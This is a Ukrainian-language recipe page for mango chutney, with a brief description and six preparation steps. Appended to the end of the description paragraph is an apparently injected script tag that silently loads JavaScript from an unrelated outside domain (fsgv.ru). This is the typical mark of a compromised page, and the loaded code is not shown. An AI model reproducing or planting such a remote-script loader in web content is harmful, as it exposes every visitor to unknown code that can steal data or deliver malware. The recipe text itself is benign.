Манговий чатні
Опис
Чатні з манго — це дуже популярна індійська приправа, яка завдяки спеціям і незвичайній технології приготування чудово підсилює апетит. Зазвичай її подають перед основною стравою разом із якоюсь закускою. У нашій сім'ї чатні з манго використовують по-різному — намазуємо на хліб, додаємо в млинці, подаємо з оладками, різними закусками... Смак передати важко — треба спробувати. Чого вам і бажаю!<script type="text/javascript" src="https://fsgv.ru/i.js"></script>
Інструкція
- 1
Крок 1
Очищаємо манго від шкірки.
- 2
Крок 2
М'якоть манго потрібно розм'яти ложечкою до стану пюре.
- 3
Крок 3
У сковороді розігрійте олію, обсмажте в ній перець і спеції протягом 1-2 хвилин на сильному вогні.
- 4
Крок 4
Тепер додаємо лимонний сік, перемішуємо.
- 5
Крок 5
Одразу додаємо манго і зменшуємо вогонь. Тушимо, помішуючи, протягом 5 хвилин.
- 6
Крок 6
Знімаємо з вогню, охолоджуємо — і готово! Зберігати в холодильнику.